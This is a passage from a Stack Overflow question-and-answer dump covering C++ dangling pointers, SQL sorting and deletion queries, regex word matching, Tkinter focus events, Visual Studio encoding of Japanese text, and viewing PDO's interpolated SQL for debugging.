"text": "<p>Given \"pStringBuffer\" is the only part of your example existing after sString goes out of scope, you need some change to it, or a substitute, that will reflect this. One simple mechanism is a kind of scope guard, with scope matching sString, that affects pStringBuffer when it is destroyed. For example, it could set pStringBuffer to NULL.</p>\n\n<p>To do this without changing the class of \"the variable\" can only be done in so many ways:</p>\n\n<ul>\n<li><p>Introduce a distinct variable in the same scope as sString (to reduce verbosity, you might consider a macro to generate the two things together). Not nice.</p></li>\n<li><p>Wrap with a template ala X sString: it's arguable whether this is \"modifying the type of the variable\"... the alternative perspective is that sString becomes a wrapper around the same variable. It also suffers in that the best you can do is have templated constructor pass arguments to wrapped constructors up to some finite N arguments.</p></li>\n</ul>\n\n<p>Neither of these help much as they rely on the developer remembering to use them.</p>\n\n<p>A <strong><em>much</em></strong> better approach is to make \"const char* pStringBuffer\" simply \"std::string some_meaningful_name\", and assign to it as necessary. Given reference counting, it's not too expensive 99.99% of the time.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210506",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26240/"
] |
This may not be possible, but I figured I'd ask...
Is there any way anyone can think of to track whether or not an automatic variable has been deleted without modifying the class of the variable itself? For example, consider this code:
```
const char* pStringBuffer;
{
std::string sString( "foo" );
pStringBuffer = sString.c_str();
}
```
Obviously, after the block, pStringBuffer is a dangling pointer which may or may not be valid. What I would like is a way to have a wrapper class which contains pStringBuffer (with a casting operator for const char\*), but asserts that the variable it's referencing is still valid. By changing the type of the referenced variable I can certainly do it (boost shared\_ptr/weak\_ptr, for example), but I would like to be able to do it without imposing restrictions on the referenced type.
Some thoughts:
* I'll probably need to change the assignment syntax to include the referenced variable (which is fine)
* I might be able to look at the stack pointer to detect if my wrapper class was allocated "later" than the referenced class, but this seems hacky and not standard (C++ doesn't define stack behavior). It could work, though.
Thoughts / brilliant solutions?
|
In general, it's simply not possible from within C++ as pointers are too 'raw'. Also, looking to see if you were allocated later than the referenced class wouldn't work, because if you change the string, then the c\_str pointer may well change.
In this particular case, you could check to see if the string is still returning the same value for c\_str. If it is, you are probably still valid and if it isn't then you have an invalid pointer.
As a debugging tool, I would advise using an advanced memory tracking system, like valgrind (available only for linux I'm afraid. Similar programs exist for windows but I believe they all cost money. This program is the only reason I have linux installed on my mac). At the cost of much slower execution of your program, valgrind detects if you ever read from an invalid pointer. While it isn't perfect, I've found it detects many bugs, in particular ones of this type.
|
210,509 |
<p>I have a bunch of records in several tables in a database that have a "process number" field, that's basically a number, but I have to store it as a string both because of some legacy data that has stuff like "89a" as a number and some numbering system that requires that process numbers be represented as number/year.</p>
<p>The problem arises when I try to order the processes by number. I get stuff like:</p>
<ul>
<li>1</li>
<li>10</li>
<li>11</li>
<li>12</li>
</ul>
<p>And the other problem is when I need to add a new process. The new process' number should be the biggest existing number incremented by one, and for that I would need a way to order the existing records by number.</p>
<p>Any suggestions?</p>
|
[
{
"answer_id": 210521,
"author": "Paolo Bergantino",
"author_id": 16417,
"author_profile": "https://Stackoverflow.com/users/16417",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"http://blog.feedmarker.com/2006/02/01/how-to-do-natural-alpha-numeric-sort-in-mysql/\" rel=\"nofollow noreferrer\">Maybe this will help.</a></p>\n\n<p>Essentially:</p>\n\n<pre><code>SELECT process_order FROM your_table ORDER BY process_order + 0 ASC\n</code></pre>\n"
},
{
"answer_id": 210526,
"author": "Andrew",
"author_id": 826,
"author_profile": "https://Stackoverflow.com/users/826",
"pm_score": 1,
"selected": false,
"text": "<p>Can you store the numbers as zero padded values? That is, 01, 10, 11, 12?</p>\n"
},
{
"answer_id": 210530,
"author": "Panos",
"author_id": 8049,
"author_profile": "https://Stackoverflow.com/users/8049",
"pm_score": 1,
"selected": false,
"text": "<p>I would suggest to create a new numeric field used only for ordering and update it from a trigger. </p>\n"
},
{
"answer_id": 210546,
"author": "Remy Sharp",
"author_id": 22617,
"author_profile": "https://Stackoverflow.com/users/22617",
"pm_score": 0,
"selected": false,
"text": "<p>You need to cast your field as you're selecting. I'm basing this syntax on MySQL - but the idea's the same:</p>\n\n<pre><code>select * from table order by cast(field AS UNSIGNED);\n</code></pre>\n\n<p>Of course UNSIGNED could be SIGNED if required.</p>\n"
},
{
"answer_id": 210551,
"author": "Stringent Software",
"author_id": 27802,
"author_profile": "https://Stackoverflow.com/users/27802",
"pm_score": 1,
"selected": false,
"text": "<p>Can you split the data into two fields?</p>\n\n<p>Store the 'process number' as an int and the 'process subtype' as a string.</p>\n\n<p>That way:</p>\n\n<ul>\n<li>you can easily get the MAX processNumber - and increment it when you need to generate a\nnew number</li>\n<li>you can ORDER BY processNumber ASC,\nprocessSubtype ASC - to get the\ncorrect order, even if multiple records have the same base number with different years/letters appended</li>\n<li>when you need the 'full' number you\ncan just concatenate the two fields</li>\n</ul>\n\n<p>Would that do what you need?</p>\n"
},
{
"answer_id": 210605,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 1,
"selected": false,
"text": "<p>Given that your process numbers don't seem to follow any fixed patterns (from your question and comments), can you construct/maintain a process number table that has two fields:</p>\n\n<pre><code>create table process_ordering ( processNumber varchar(N), processOrder int )\n</code></pre>\n\n<p>Then select all the process numbers from your tables and insert into the process number table. Set the ordering however you want based on the (varying) process number formats. Join on this table, order by processOrder and select all fields from the other table. Index this table on processNumber to make the join fast.</p>\n\n<pre><code>select my_processes.*\nfrom my_processes\n inner join process_ordering on my_process.processNumber = process_ordering.processNumber\norder by process_ordering.processOrder\n</code></pre>\n"
},
{
"answer_id": 211127,
"author": "6eorge Jetson",
"author_id": 23422,
"author_profile": "https://Stackoverflow.com/users/23422",
"pm_score": 1,
"selected": false,
"text": "<p>It seems to me that you have two tasks here.</p>\n\n<blockquote>\n• Convert the strings to numbers by legacy format/strip off the junk<br/>• Order the numbers\n</blockquote>\n\n<p>If you have a practical way of introducing string-parsing regular expressions into your process (and your issue has enough volume to be worth the effort), then I'd \n<blockquote>\n• Create a reference table such as</p>\n\n<pre><code>\nCREATE TABLE tblLegacyFormatRegularExpressionMaster(\n LegacyFormatId int,\n LegacyFormatName varchar(50),\n RegularExpression varchar(max)\n)\n</code></pre>\n\n<p>• Then, with a way of invoking the regular expressions, such as the CLR integration in SQL Server 2005 and above (the .NET Common Language Runtime integration to allow calls to compiled .NET methods <i>from within SQL Server as ordinary (Microsoft extended) T-SQL</i>, then you should be able to solve your problem.\n<br/><br/> • See </p>\n\n http://www.codeproject.com/KB/string/SqlRegEx.aspx \n</blockquote>\n\n<p><br/>I apologize if this is way too much overhead for your problem at hand.</p>\n"
},
{
"answer_id": 211312,
"author": "onedaywhen",
"author_id": 15354,
"author_profile": "https://Stackoverflow.com/users/15354",
"pm_score": 1,
"selected": false,
"text": "<p>Suggestion: </p>\n\n<p>• Make your column a fixed width text (i.e. <code>CHAR</code> rather than <code>VARCHAR</code>).</p>\n\n<p>• Pad the existing values with enough leading zeros to fill each column and a trailing space(s) where the values do not end in 'a' (or whatever).\n• Add a <code>CHECK</code> constraint (or equivalent) to ensure new values conform to the pattern e.g. something like </p>\n\n<pre><code>CHECK (process_number LIKE '[0-9][0-9][0-9][0-9][0-9][0-9][ab ]')\n</code></pre>\n\n<p>• In your insert/update stored procedures (or equivalent), pad any incoming values to fit the pattern.</p>\n\n<p>• Remove the leading/trailing zeros/spaces as appropriate when displaying the values to humans.</p>\n\n<p>Another advantage of this approach is that the incoming values '1', '01', '001', etc would all be considered to be the same value and could be covered by a simple unique constraint in the DBMS.</p>\n\n<p>BTW I like the idea of splitting the trailing 'a' (or whatever) into a separate column, however I got the impression the data element in question is an identifier and therefore would not be appropriate to split it.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210509",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2841/"
] |
I have a bunch of records in several tables in a database that have a "process number" field, that's basically a number, but I have to store it as a string both because of some legacy data that has stuff like "89a" as a number and some numbering system that requires that process numbers be represented as number/year.
The problem arises when I try to order the processes by number. I get stuff like:
* 1
* 10
* 11
* 12
And the other problem is when I need to add a new process. The new process' number should be the biggest existing number incremented by one, and for that I would need a way to order the existing records by number.
Any suggestions?
|
[Maybe this will help.](http://blog.feedmarker.com/2006/02/01/how-to-do-natural-alpha-numeric-sort-in-mysql/)
Essentially:
```
SELECT process_order FROM your_table ORDER BY process_order + 0 ASC
```
|
210,515 |
<p>Assume a table with the following columns:</p>
<p><code>pri_id</code>, <code>item_id</code>, <code>comment</code>, <code>date</code></p>
<p>What I want to have is a SQL query that will delete any records, for a specific <code>item_id</code> that are older than a given date, BUT only as long as there are more than 15 rows for that <code>item_id</code>.</p>
<p>This will be used to purge out comment records older than 1 year for the items but I still want to keep at least 15 records at any given time. This way if I had one comment for 10 years it would never get deleted but if I had 100 comments over the last 5 days I'd only keep the newest 15 records. These are of course arbitrary record counts and date timeframes for this example.</p>
<p>I'd like to find a very generic way of doing this that would work in mysql, oracle, postgres etc. I'm using phps adodb library for DB abstraction so I'd like it to work well with that if possible.</p>
|
[
{
"answer_id": 210532,
"author": "Robert C. Barth",
"author_id": 9209,
"author_profile": "https://Stackoverflow.com/users/9209",
"pm_score": 4,
"selected": true,
"text": "<p>Something like this should work for you:</p>\n\n<pre><code>delete\nfrom\n MyTable\nwhere\n item_id in\n (\n select\n item_id\n from\n MyTable\n group by\n item_id\n having\n count(item_id) > 15\n )\n and\n Date < @tDate\n</code></pre>\n"
},
{
"answer_id": 210540,
"author": "Jeremy",
"author_id": 9266,
"author_profile": "https://Stackoverflow.com/users/9266",
"pm_score": 0,
"selected": false,
"text": "<p>Is this what you're looking for?</p>\n\n<pre><code>DELETE\n [MyTable]\nWHERE\n [item_id] = 100 and\n (SELECT COUNT(*) FROM [MyTable] WHERE [item_id] = 100) > 15\n</code></pre>\n\n<p>I'm a MS SQL Server guy, but i think it should work elsewhere.</p>\n"
},
{
"answer_id": 210549,
"author": "Ryan Abbott",
"author_id": 27908,
"author_profile": "https://Stackoverflow.com/users/27908",
"pm_score": 2,
"selected": false,
"text": "<p>You want to keep at least 15 of them always, correct? So:</p>\n\n<pre><code> DELETE\n FROM CommentTable\n WHERE CommentId NOT IN (\n SELECT TOP 15 CommentId\n FROM CommentTable\n WHERE ItemId=@ItemId\n AND CommentDate < @Date\n ORDER BY CommentDate DESC\n )\n AND ItemId=@ItemId\n AND CommentDate < @Date\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210515",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14230/"
] |
Assume a table with the following columns:
`pri_id`, `item_id`, `comment`, `date`
What I want to have is a SQL query that will delete any records, for a specific `item_id` that are older than a given date, BUT only as long as there are more than 15 rows for that `item_id`.
This will be used to purge out comment records older than 1 year for the items but I still want to keep at least 15 records at any given time. This way if I had one comment for 10 years it would never get deleted but if I had 100 comments over the last 5 days I'd only keep the newest 15 records. These are of course arbitrary record counts and date timeframes for this example.
I'd like to find a very generic way of doing this that would work in mysql, oracle, postgres etc. I'm using phps adodb library for DB abstraction so I'd like it to work well with that if possible.
|
Something like this should work for you:
```
delete
from
MyTable
where
item_id in
(
select
item_id
from
MyTable
group by
item_id
having
count(item_id) > 15
)
and
Date < @tDate
```
|
210,518 |
<p>What do I use to search for multiple words in a string? I would like the logical operation to be AND so that all the words are in the string somewhere. I have a bunch of nonsense paragraphs and one plain English paragraph, and I'd like to narrow it down by specifying a couple common words like, "the" and "and", but would like it match all words I specify.</p>
|
[
{
"answer_id": 210538,
"author": "Jonathan Leffler",
"author_id": 15168,
"author_profile": "https://Stackoverflow.com/users/15168",
"pm_score": 0,
"selected": false,
"text": "<p>Assuming PCRE (Perl regexes), I am not sure that you can do it at all easily. The AND operation is concatenation of regexes, but you want to be able to permute the order in which the words appear without having to formally generate the permutation. For N words, when N = 2, it is bearable; with N = 3, it is barely OK; with N > 3, it is unlikely to be acceptable. So, the simple iterative solution - N regexes, one for each word, and iterate ensuring each is satisfied - looks like the best choice to me.</p>\n"
},
{
"answer_id": 210539,
"author": "brasskazoo",
"author_id": 6340,
"author_profile": "https://Stackoverflow.com/users/6340",
"pm_score": 2,
"selected": false,
"text": "<p>Firstly I'm not certain what you're trying to return... the whole sentence? The words in between your two given words?</p>\n\n<p>Something like:</p>\n\n<pre><code>\\b(word1|word2)\\b(\\w+\\b)*(word1|word2)\\b(\\w+\\b)*\\.\n</code></pre>\n\n<p>(where <code>\\b</code> is the word boundary in your language)\nwould match a complete sentence that contained either of the two words or both..</p>\n\n<p>You'd probably need to make it case insensitive so that if it appears at the start of the sentence it will still match</p>\n"
},
{
"answer_id": 210565,
"author": "Markus Jarderot",
"author_id": 22364,
"author_profile": "https://Stackoverflow.com/users/22364",
"pm_score": 2,
"selected": false,
"text": "<p><code>AND</code> as concatenation</p>\n\n<pre><code>^(?=.*?\\b(?:word1)\\b)(?=.*?\\b(?:word2)\\b)(?=.*?\\b(?:word3)\\b)\n</code></pre>\n\n<p><code>OR</code> as alternation</p>\n\n<pre><code>^(?=.*?\\b(?:word1|word2|word3)\\b\n^(?=.*?\\b(?:word1)\\b)|^(?=.*?\\b(?:word2)\\b)|^(?=.*?\\b(?:word3)\\b)\n</code></pre>\n"
},
{
"answer_id": 210577,
"author": "Vinko Vrsalovic",
"author_id": 5190,
"author_profile": "https://Stackoverflow.com/users/5190",
"pm_score": 3,
"selected": true,
"text": "<p>Maybe using a <a href=\"http://en.wikipedia.org/wiki/Wikipedia:Language_recognition_chart#English\" rel=\"nofollow noreferrer\">language recognition chart</a> to recognize english would work. Some quick tests seem to work (this assumes paragraphs separated by newlines only).</p>\n\n<p>The regexp will match one of any of those conditions... \\bword\\b is word separated by boundaries word\\b is a word ending and just word will match it in any place of the paragraph to be matched.</p>\n\n<pre><code>my @paragraphs = split(/\\n/,$text);\nfor my $p (@paragraphs) {\n if ($p =~ m/\\bthe\\b|\\band\\b|\\ban\\b|\\bin\\b|\\bon\\b|\\bthat\\b|\\bis\\b|\\bare\\b|th|sh|ough|augh|ing\\b|tion\\b|ed\\b|age\\b|’s\\b|’ve\\b|n’t\\b|’d\\b/) {\n print \"Probable english\\n$p\\n\";\n }\n}\n</code></pre>\n"
},
{
"answer_id": 268988,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": false,
"text": "<p>Regular expressions support a \"lookaround\" condition that lets you search for a term within a string and then forget the location of the result; starting at the beginning of the string for the next search term. This will allow searching a string for a group of words in any order.</p>\n\n<p>The regular expression for this is:</p>\n\n<pre><code>^(?=.*\\bword1\\b)(?=.*\\bword2\\b)(?=.*\\bword3\\b)\n</code></pre>\n\n<p>Where <code>\\b</code> is a word boundary and the <code>?=</code> is the lookaround modifier.</p>\n\n<p>If you have a variable number of words you want to search for, you will need to build this regular expression string with a loop - just wrap each word in the lookaround syntax and append it to the expression.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210518",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13611/"
] |
What do I use to search for multiple words in a string? I would like the logical operation to be AND so that all the words are in the string somewhere. I have a bunch of nonsense paragraphs and one plain English paragraph, and I'd like to narrow it down by specifying a couple common words like, "the" and "and", but would like it match all words I specify.
|
Maybe using a [language recognition chart](http://en.wikipedia.org/wiki/Wikipedia:Language_recognition_chart#English) to recognize english would work. Some quick tests seem to work (this assumes paragraphs separated by newlines only).
The regexp will match one of any of those conditions... \bword\b is word separated by boundaries word\b is a word ending and just word will match it in any place of the paragraph to be matched.
```
my @paragraphs = split(/\n/,$text);
for my $p (@paragraphs) {
if ($p =~ m/\bthe\b|\band\b|\ban\b|\bin\b|\bon\b|\bthat\b|\bis\b|\bare\b|th|sh|ough|augh|ing\b|tion\b|ed\b|age\b|’s\b|’ve\b|n’t\b|’d\b/) {
print "Probable english\n$p\n";
}
}
```
|
210,522 |
<p>I'm building a code in which I'd like to be able to generate an event when the user changes the focus of the cursor from an Entry widget to anywhere, for example another entry widget, a button...</p>
<p>So far i only came out with the idea to bind to TAB and mouse click, although if i bind the mouse click to the Entry widget i only get mouse events when inside the Entry widget.</p>
<p>How can I accomplish generate events for when a widget loses cursor focus?</p>
<p>Thanks in advance!</p>
|
[
{
"answer_id": 211283,
"author": "monkut",
"author_id": 24718,
"author_profile": "https://Stackoverflow.com/users/24718",
"pm_score": 0,
"selected": false,
"text": "<p>This isn't specific to tkinter, and it's not focus based, but I got an answer to a similar question here:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/165495/detecting-mouse-clicks-in-windows-using-python\">Detecting Mouse clicks in windows using python</a></p>\n\n<p>I haven't done any tkinter in quite a while, but there seems to be \"FocusIn\" and \"FocusOut\" events. You might be able to bind and track these to solve your issue.</p>\n\n<p>From:\n<a href=\"http://effbot.org/tkinterbook/tkinter-events-and-bindings.htm\" rel=\"nofollow noreferrer\">http://effbot.org/tkinterbook/tkinter-events-and-bindings.htm</a></p>\n"
},
{
"answer_id": 225834,
"author": "Bryan Oakley",
"author_id": 7432,
"author_profile": "https://Stackoverflow.com/users/7432",
"pm_score": 3,
"selected": false,
"text": "<p>The events <FocusIn> and <FocusOut> are what you want. Run the following example and you'll see you get focus in and out bindings whether you click or press tab (or shift-tab) when focus is in one of the entry widgets.</p>\n\n<pre><code>from Tkinter import *\n\ndef main():\n global text\n\n root=Tk()\n\n l1=Label(root,text=\"Field 1:\")\n l2=Label(root,text=\"Field 2:\")\n t1=Text(root,height=4,width=40)\n e1=Entry(root)\n e2=Entry(root)\n l1.grid(row=0,column=0,sticky=\"e\")\n e1.grid(row=0,column=1,sticky=\"ew\")\n l2.grid(row=1,column=0,sticky=\"e\")\n e2.grid(row=1,column=1,sticky=\"ew\")\n t1.grid(row=2,column=0,columnspan=2,sticky=\"nw\")\n\n root.grid_columnconfigure(1,weight=1)\n root.grid_rowconfigure(2,weight=1)\n\n root.bind_class(\"Entry\",\"<FocusOut>\",focusOutHandler)\n root.bind_class(\"Entry\",\"<FocusIn>\",focusInHandler)\n\n text = t1\n root.mainloop()\n\ndef focusInHandler(event):\n text.insert(\"end\",\"FocusIn %s\\n\" % event.widget)\n text.see(\"end\")\n\ndef focusOutHandler(event):\n text.insert(\"end\",\"FocusOut %s\\n\" % event.widget)\n text.see(\"end\")\n\n\nif __name__ == \"__main__\":\n main();\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210522",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I'm building a code in which I'd like to be able to generate an event when the user changes the focus of the cursor from an Entry widget to anywhere, for example another entry widget, a button...
So far i only came out with the idea to bind to TAB and mouse click, although if i bind the mouse click to the Entry widget i only get mouse events when inside the Entry widget.
How can I accomplish generate events for when a widget loses cursor focus?
Thanks in advance!
|
The events <FocusIn> and <FocusOut> are what you want. Run the following example and you'll see you get focus in and out bindings whether you click or press tab (or shift-tab) when focus is in one of the entry widgets.
```
from Tkinter import *
def main():
global text
root=Tk()
l1=Label(root,text="Field 1:")
l2=Label(root,text="Field 2:")
t1=Text(root,height=4,width=40)
e1=Entry(root)
e2=Entry(root)
l1.grid(row=0,column=0,sticky="e")
e1.grid(row=0,column=1,sticky="ew")
l2.grid(row=1,column=0,sticky="e")
e2.grid(row=1,column=1,sticky="ew")
t1.grid(row=2,column=0,columnspan=2,sticky="nw")
root.grid_columnconfigure(1,weight=1)
root.grid_rowconfigure(2,weight=1)
root.bind_class("Entry","<FocusOut>",focusOutHandler)
root.bind_class("Entry","<FocusIn>",focusInHandler)
text = t1
root.mainloop()
def focusInHandler(event):
text.insert("end","FocusIn %s\n" % event.widget)
text.see("end")
def focusOutHandler(event):
text.insert("end","FocusOut %s\n" % event.widget)
text.see("end")
if __name__ == "__main__":
main();
```
|
210,547 |
<p>I have some source files that have comments written in Japanese. When I open these files in Visual Studio they appear like this:</p>
<pre><code>à–¾FNCAP‰¹—p‚̃XƒŒƒbƒh
</code></pre>
<p>I am using the English version of WinXP, but is there a way to get Visual Studio to display the actual Japanese characters rather than the random jibberish it currently is?</p>
|
[
{
"answer_id": 210555,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 4,
"selected": true,
"text": "<p>Presumably VS is interpreting the file with the wrong encoding.</p>\n\n<p>Reopen it using \"File -> Open -> File... -> Open -> Open With... -> Source Code (Text) Editor With Encoding\" and try various encodings.</p>\n"
},
{
"answer_id": 210560,
"author": "ryan_s",
"author_id": 13728,
"author_profile": "https://Stackoverflow.com/users/13728",
"pm_score": 1,
"selected": false,
"text": "<p>Have you turned on support for Eastern languages for Windows? I have that turned on and I can see Chinese characters in Visual Studio 2005 on WinXP. </p>\n\n<p>To turn it on you'll probably need the installation DVD for Windows. The setting is under Regional and Language Options in the Control Panel. I think you just need to check the \"Install files for East Asian languages\" option.</p>\n\n<p><a href=\"http://www.microsoft.com/globaldev/handson/user/xpintlsupp.mspx\" rel=\"nofollow noreferrer\">Microsoft's support page for internationalization</a> has some screenshots and instructions.</p>\n"
},
{
"answer_id": 24683057,
"author": "DubiousPusher",
"author_id": 2452934,
"author_profile": "https://Stackoverflow.com/users/2452934",
"pm_score": 0,
"selected": false,
"text": "<p>I faced the same issue and have found a solution that works for me.</p>\n\n<p>The problem is that the files aren't unicode and VS is trying to open them with an encoding that matches your location. Luckily, you can set Windows default behavior for non-unicode files. Check out this link, <a href=\"http://msdn.microsoft.com/en-us/library/ms246590.aspx\" rel=\"nofollow\">http://msdn.microsoft.com/en-us/library/ms246590.aspx</a>. Look under \"To correctly display characters that are not included in the current code page.\"</p>\n\n<p>These directions are incorrect for Windows 8 (I can't speak for 7 or older.) For Windows 8:</p>\n\n<ol>\n<li>Navigate to Control Panel</li>\n<li>Select Clock, Language, and Region (yeah they still have the comma before and)</li>\n<li>Region</li>\n<li>Administrative</li>\n<li>Change System Locale...</li>\n<li>Select the desired language from the \"Current System Locale\" drop down</li>\n</ol>\n\n<p>Most of your programs should continue to function in English as this setting is only applied when programs and files don't support unicode.</p>\n"
},
{
"answer_id": 31249274,
"author": "puzio",
"author_id": 5085853,
"author_profile": "https://Stackoverflow.com/users/5085853",
"pm_score": 3,
"selected": false,
"text": "<p>I found a general solution to the problem. This worked for me in Chinese text for Visual Studio 2013 and Windows 8.1.</p>\n\n<p>per <a href=\"https://msdn.microsoft.com/en-us/library/ms246590.aspx\" rel=\"noreferrer\">https://msdn.microsoft.com/en-us/library/ms246590.aspx</a></p>\n\n<ol>\n<li>As Administrator Click Start, click Control Panel, and then open Regional and Language Options (or Region in Windows 8).</li>\n<li>Click the Advanced tab. (or Administrative in Windows 8)</li>\n<li>In the Select a language to match the language version of the non-Unicode programs you want to use list, select the language you are currently using.</li>\n<li>Click OK.</li>\n</ol>\n"
},
{
"answer_id": 46209121,
"author": "VoHinh",
"author_id": 8606346,
"author_profile": "https://Stackoverflow.com/users/8606346",
"pm_score": 0,
"selected": false,
"text": "<p>i have just gotten this problem and fixed it by changing config \"files.encoding\" in file \"setting.json\" . Go to Menu => File => Reference => setting to open the file. Search for \"files.encoding\" and change value to Encoding of your file (my file encoded in Shift-JIS , i checked ending by using Notpad++)</p>\n"
},
{
"answer_id": 52196685,
"author": "maithanhduyan",
"author_id": 7014130,
"author_profile": "https://Stackoverflow.com/users/7014130",
"pm_score": 0,
"selected": false,
"text": "<p>Windows 10 : --> Control Panel\\Clock and Region\\Region</p>\n\n<p><img src=\"https://i.stack.imgur.com/jJhXa.png\" alt=\"enter image description here\">\n<img src=\"https://i.stack.imgur.com/W7b5V.png\" alt=\"enter image description here\"></p>\n"
},
{
"answer_id": 57415433,
"author": "Major Murphy",
"author_id": 749536,
"author_profile": "https://Stackoverflow.com/users/749536",
"pm_score": 0,
"selected": false,
"text": "<p>You can also convert the text encoding to UTF-8 using Notepad++.</p>\n<ol>\n<li><p>Originally encoded as Shift-JIS:</p>\n<p><img src=\"https://i.stack.imgur.com/sS9n2.png\" alt=\"image1\" /></p>\n</li>\n<li><p>Convert to UTF-8:</p>\n<p><img src=\"https://i.stack.imgur.com/Zkjfn.png\" alt=\"image2\" /></p>\n</li>\n<li><p>Save file.</p>\n</li>\n</ol>\n<p>It should now display correctly regardless of local region.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210547",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2045/"
] |
I have some source files that have comments written in Japanese. When I open these files in Visual Studio they appear like this:
```
à–¾FNCAP‰¹—p‚̃XƒŒƒbƒh
```
I am using the English version of WinXP, but is there a way to get Visual Studio to display the actual Japanese characters rather than the random jibberish it currently is?
|
Presumably VS is interpreting the file with the wrong encoding.
Reopen it using "File -> Open -> File... -> Open -> Open With... -> Source Code (Text) Editor With Encoding" and try various encodings.
|
210,564 |
<p>Is there a way to get the raw SQL string executed when calling PDOStatement::execute() on a prepared statement? For debugging purposes this would be extremely useful.</p>
|
[
{
"answer_id": 210586,
"author": "Glass Robot",
"author_id": 1745,
"author_profile": "https://Stackoverflow.com/users/1745",
"pm_score": 3,
"selected": false,
"text": "<p>PDOStatement has a public property $queryString. It should be what you want.</p>\n\n<p>I've just notice that PDOStatement has an undocumented method debugDumpParams() which you may also want to look at.</p>\n"
},
{
"answer_id": 210602,
"author": "Kibbee",
"author_id": 1862,
"author_profile": "https://Stackoverflow.com/users/1862",
"pm_score": 1,
"selected": false,
"text": "<p>The $queryString property mentioned will probably only return the query passed in, without the parameters replaced with their values. In .Net, I have the catch part of my query executer do a simple search replace on the parameters with their values which was supplied so that the error log can show actual values that were being used for the query. You should be able to enumerate the parameters in PHP, and replace the parameters with their assigned value.</p>\n"
},
{
"answer_id": 210693,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 8,
"selected": true,
"text": "<p>I assume you mean that you want the final SQL query, with parameter values interpolated into it. I understand that this would be useful for debugging, but it is not the way prepared statements work. Parameters are not combined with a prepared statement on the client-side, so PDO should never have access to the query string combined with its parameters.</p>\n\n<p>The SQL statement is sent to the database server when you do prepare(), and the parameters are sent separately when you do execute(). MySQL's general query log does show the final SQL with values interpolated after you execute(). Below is an excerpt from my general query log. I ran the queries from the mysql CLI, not from PDO, but the principle is the same.</p>\n\n<pre><code>081016 16:51:28 2 Query prepare s1 from 'select * from foo where i = ?'\n 2 Prepare [2] select * from foo where i = ?\n081016 16:51:39 2 Query set @a =1\n081016 16:51:47 2 Query execute s1 using @a\n 2 Execute [2] select * from foo where i = 1\n</code></pre>\n\n<p>You can also get what you want if you set the PDO attribute PDO::ATTR_EMULATE_PREPARES. In this mode, PDO interpolate parameters into the SQL query and sends the whole query when you execute(). <strong>This is not a true prepared query.</strong> You will circumvent the benefits of prepared queries by interpolating variables into the SQL string before execute().</p>\n\n<hr>\n\n<p>Re comment from @afilina:</p>\n\n<p>No, the textual SQL query is <em>not</em> combined with the parameters during execution. So there's nothing for PDO to show you.</p>\n\n<p>Internally, if you use PDO::ATTR_EMULATE_PREPARES, PDO makes a copy of the SQL query and interpolates parameter values into it before doing the prepare and execute. But PDO does not expose this modified SQL query. </p>\n\n<p>The PDOStatement object has a property $queryString, but this is set only in the constructor for the PDOStatement, and it's not updated when the query is rewritten with parameters.</p>\n\n<p>It would be a reasonable feature request for PDO to ask them to expose the rewritten query. But even that wouldn't give you the \"complete\" query unless you use PDO::ATTR_EMULATE_PREPARES.</p>\n\n<p>This is why I show the workaround above of using the MySQL server's general query log, because in this case even a prepared query with parameter placeholders is rewritten on the server, with parameter values backfilled into the query string. But this is only done during logging, not during query execution.</p>\n"
},
{
"answer_id": 1376838,
"author": "bigwebguy",
"author_id": 168256,
"author_profile": "https://Stackoverflow.com/users/168256",
"pm_score": 7,
"selected": false,
"text": "<pre><code>/**\n * Replaces any parameter placeholders in a query with the value of that\n * parameter. Useful for debugging. Assumes anonymous parameters from \n * $params are are in the same order as specified in $query\n *\n * @param string $query The sql query with parameter placeholders\n * @param array $params The array of substitution parameters\n * @return string The interpolated query\n */\npublic static function interpolateQuery($query, $params) {\n $keys = array();\n\n # build a regular expression for each parameter\n foreach ($params as $key => $value) {\n if (is_string($key)) {\n $keys[] = '/:'.$key.'/';\n } else {\n $keys[] = '/[?]/';\n }\n }\n\n $query = preg_replace($keys, $params, $query, 1, $count);\n\n #trigger_error('replaced '.$count.' keys');\n\n return $query;\n}\n</code></pre>\n"
},
{
"answer_id": 8403150,
"author": "Mike",
"author_id": 1083889,
"author_profile": "https://Stackoverflow.com/users/1083889",
"pm_score": 5,
"selected": false,
"text": "<p>I modified the method to include handling output of arrays for statements like WHERE IN (?). </p>\n\n<p>UPDATE: Just added check for NULL value and duplicated $params so actual $param values are not modified. </p>\n\n<p>Great work bigwebguy and thanks!</p>\n\n<pre><code>/**\n * Replaces any parameter placeholders in a query with the value of that\n * parameter. Useful for debugging. Assumes anonymous parameters from \n * $params are are in the same order as specified in $query\n *\n * @param string $query The sql query with parameter placeholders\n * @param array $params The array of substitution parameters\n * @return string The interpolated query\n */\npublic function interpolateQuery($query, $params) {\n $keys = array();\n $values = $params;\n\n # build a regular expression for each parameter\n foreach ($params as $key => $value) {\n if (is_string($key)) {\n $keys[] = '/:'.$key.'/';\n } else {\n $keys[] = '/[?]/';\n }\n\n if (is_string($value))\n $values[$key] = \"'\" . $value . \"'\";\n\n if (is_array($value))\n $values[$key] = \"'\" . implode(\"','\", $value) . \"'\";\n\n if (is_null($value))\n $values[$key] = 'NULL';\n }\n\n $query = preg_replace($keys, $values, $query);\n\n return $query;\n}\n</code></pre>\n"
},
{
"answer_id": 12015992,
"author": "Chris Go",
"author_id": 393134,
